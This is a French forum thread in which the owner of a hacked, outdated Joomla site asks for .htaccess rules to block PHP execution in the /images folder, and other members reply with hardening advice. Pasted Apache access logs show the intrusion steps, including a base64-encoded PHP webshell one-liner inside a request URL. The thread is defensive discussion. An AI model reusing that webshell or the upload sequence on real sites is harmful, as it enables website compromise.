htaccess : interdire lecture *.php.jpg ?

Version imprimable

27/08/2016, 11h49
Mister Paul

htaccess : interdire lecture *.php.jpg ?
Bonjour,

mon vieux site sous Joomla a été hacké.
Ça s'est passé en 2 temps :
ils ont placé dans le dossier /images
jlogo.php.jpg
jlogo.php

Ensuite ces fichiers ont été appelés et ont disséminé un peu partout dans le site d'autres fichiers vérolés...

J'ai rétabli une version antérieure du site. Avant de faire la mise à jour de Joomla (on la fera avec la refonte du site le mois prochain) et pour éviter qu'ils ne recommencent j'ai mis un .htaccess dans le dossier /images pour interdire l'exécution de PHP. J'ai mis ce code :
Code:

1 2 3 4 5 6 7 <Files *.php> deny from all </Files> <Files *.php.jpg> deny from all </Files>
J'ai bon Docteur ?
:?

Merci pour l'aide
Paul
27/08/2016, 21h40
silfun1
Salut Mister Paul,

Ca me parait correct.
Perso, je ne suis pas pour l'uilisation des .htaccess. Donc, si tu as accès à la configuration Apache, je préconiserai que mettre ces règles directement dedans, comme ceci:
Code:

1 2 3 4 5 6 <Directory ^images> <Files ^(*.php|*.phps|*.php.jpg)> order deny,allow deny from all </Files> </Directory>
Par contre, je me demande, comment ils ont pu copier des fichiers sur ton serveur ? Tu utilise un formulaire php qui autorise les uploads ?
Si c'est le cas, fais un filtre sur les extensions.
Pour ma part, j'utilise le module suphp. Et aussi des filtres FilesMatch, une configuration drastique sur les fonctions autorisées sous php (disable_functions) etc....
Voici un exemple de règles que tu peux rajouter. Bien sur, il faut les modifier/compléter en fonction de ton cas :
http://www.apachelounge.com/viewtopic.php?t=1074

Je n'ai pas encore testé le mod-security de Apache, mais ça semble pas mal.

Sylvain

Je suis en mutualisé et je ne pense pas pouvoir accéder à ce niveau de personnalisation.

Citation:

Envoyé par silfun1

Par contre, je me demande, comment ils ont pu copier des fichiers sur ton serveur ? Tu utilise un formulaire php qui autorise les uploads ?

Oui je cherche encore…

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
185.93.187.66 - - [14/Aug/2016:15:24:45 +0200] "GET /administrator/ HTTP/1.0" 200 4693 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:45 +0200] "GET /administrator/ HTTP/1.0" 200 4693 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:45 +0200] "GET /administrator/ HTTP/1.0" 200 32750 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:46 +0200] "GET /administrator/?option=com_config HTTP/1.0" 200 62319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:47 +0200] "GET /administrator/?option=com_admin&task=sysinfo HTTP/1.0" 200 84748 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:47 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:48 +0200] "POST /administrator/ HTTP/1.0" 200 21385 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:48 +0200] "POST /templates/jtemplate/jtemplate.php HTTP/1.0" 200 37031 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:49 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:50 +0200] "POST /administrator/ HTTP/1.0" 200 21385 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:50 +0200] "POST /modules/mod_jmodule/mod_jmodule.php HTTP/1.0" 200 37035 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:51 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:51 +0200] "POST /administrator/ HTTP/1.0" 200 21385 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:52 +0200] "POST /plugins/jplugin/jplugin.php HTTP/1.0" 200 37032 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:53 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:53 +0200] "POST /administrator/ HTTP/1.0" 200 21385 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:54 +0200] "POST /administrator/templates/jtemplate/jtemplate.php HTTP/1.0" 200 37098 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:55 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:55 +0200] "POST /administrator/ HTTP/1.0" 200 21385 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:56 +0200] "POST /administrator/modules/mod_jmodule/mod_jmodule.php HTTP/1.0" 200 37093 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:57 +0200] "GET /administrator/?option=com_installer HTTP/1.0" 200 21051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:57 +0200] "POST /administrator/ HTTP/1.0" 200 21602 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:58 +0200] "POST /tmp/plain;base64,PD9waHAgQGFzc2VydChAYmFzZTY0X2RlY29kZShAc3RyX3JvdDEzKCRfUE9TVFsiZGF0YSJdKSkpOz8+;.php HTTP/1.0" 200 37271 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:58 +0200] "GET /administrator/?option=com_media HTTP/1.0" 200 32779 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:24:59 +0200] "POST /administrator/ HTTP/1.0" 200 1730 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:00 +0200] "POST /images/jlogo.php. HTTP/1.0" 404 281 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:00 +0200] "POST /images/jlogo.php HTTP/1.0" 200 36994 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:01 +0200] "GET /administrator/?option=com_media HTTP/1.0" 200 32779 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:01 +0200] "POST /administrator/ HTTP/1.0" 200 1687 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:02 +0200] "POST /images/jlogo.php.jpg HTTP/1.0" 200 3131 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:02 +0200] "GET /administrator/?option=com_config HTTP/1.0" 200 62319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:02 +0200] "POST /administrator/ HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:03 +0200] "GET /administrator/index.php HTTP/1.0" 200 32931 "http://pxxxx.phpnet.org/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:04 +0200] "GET /administrator/?option=com_media HTTP/1.0" 200 32779 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:05 +0200] "POST /administrator/ HTTP/1.0" 200 1687 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [14/Aug/2016:15:25:05 +0200] "POST /images/jlogo.php HTTP/1.0" 200 10 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"

28/08/2016, 15h14
Mister Paul

Je vais créer un autre fil pour clarifier.
Merci Sylvain pour ta réponse à ma question initiale.

Paul
13/01/2017, 15h40
Mister Paul

Again…

Aïe des fichiers (jlogo.php.jpg et jlogo.php) ont été déposés à nouveau dans le même répertoire (le dossier /images) et ont été ouverts malgré le code PHP...
cf copie d'écran

Ces fichiers ont été déposés par le hacker (ça OK je n'ai pas dû refermer la porte) mais ils ont été ouverts par le hacker (et ça je croyais l'en avoir empêché...).

Comment est-ce possible ?

Merci pour l'aide
Paul
17/01/2017, 15h43
cavo789

Bonjour

Ton fichier .htaccess "ne fait que" interdire l'exécution d'un tel fichier. Le pirate ne pourra donc pas l'exécuter en URL.

Cela n'interdit pas toutefois de déposer le fichier.

Quelle est ta version de Joomla ? Quelles protections as-tu mis en place ? As-tu bien tout à jour ? As-tu des admins qui te sont inconnus ?

Et ... après ton dernier hack, as-tu 1. fait un ménage en profondeur 2. changer tes mots de passes (ftp, Joomla, base de données) ?
17/01/2017, 17h52
Mister Paul

Citation:

Envoyé par cavo789

Ton fichier .htaccess "ne fait que" interdire l'exécution d'un tel fichier. Le pirate ne pourra donc pas l'exécuter en URL.
Cela n'interdit pas toutefois de déposer le fichier.

Oui tu as raison. Effectivement quand il souhaite lancer ces fichiers il a des erreurs 403.

Ce que je ne comprends pas c'est qu'il ait des codes 200 en demandant des fichiers qui n'existent pas...

Code:

193.169.252.98 - - [03/Jan/2017:13:59:46 +0100] "POST /jtemplate/j1template.php HTTP/1.0" 200 23 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2564.116 Safari/537.36"

PS: oui c'est une très vieille version. Nous allons faire la mise à jour dans les prochaines semaines.
30/01/2017, 18h17
Mister Paul
Citation:
Envoyé par Mister Paul

(...) pour éviter qu'ils ne recommencent j'ai mis un .htaccess dans le dossier /images pour interdire l'exécution de PHP. J'ai mis ce code :

Code:

1 2 3 4 5 6 7 <Files *.php> deny from all </Files> <Files *.php.jpg> deny from all </Files>
sans faire de paranoïa excessive, il semble que ça soit un grand classique d'exécuter un script dans ce répertoire pour hacker un site Joomla.
J'ai vu 2 propositions de .htaccess plus costaudes :
Code:

1 2 3 # secure directory by disabling script execution AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi Options -ExecCGI
Code:

AddHandler cgi-script .php .php3 .php4 .php5 .phtml .pl .py .jsp .asp .shtml .sh .cgi .html .htm .js AddType text/html *.htm *.html AddType application/x-httpd-php-source *.php

Laquelle est la meilleure Docteur ?
30/01/2017, 18h41
vttman

Pour moi le grand classique des problèmes avec Joomla,
c'est surtout de ne pas être à jour donc en dernière version ... idem pour Wordpress d'ailleurs !
30/01/2017, 18h45
Mister Paul

Oui tu as raison !
;)

Mais sinon en attendant d'avoir le temps de faire la MAJ, quel .htaccess proposé serait le plus efficace ?
30/01/2017, 19h09
vttman

Franchement tout va dépendre des failles non comblées dans ces anciennes versions !?!!

Perso pour mes sites Joomla, sachant que Joomla + les extensions sont à jour, j'utilise
un .htaccess de base et une extension comme jHackGuard ... il y a aussi, bien sûr, le site AeSecure (cf cavo789) à visiter qui propose
de mieux protéger son site (extension en version demo / premium)

Jeter aussi un coup d'oeil sur le pdf dans le premier lien proposé sur Goo*gle en tapant ces mots clefs "htaccess joomla plus sécurisé aesecure" ...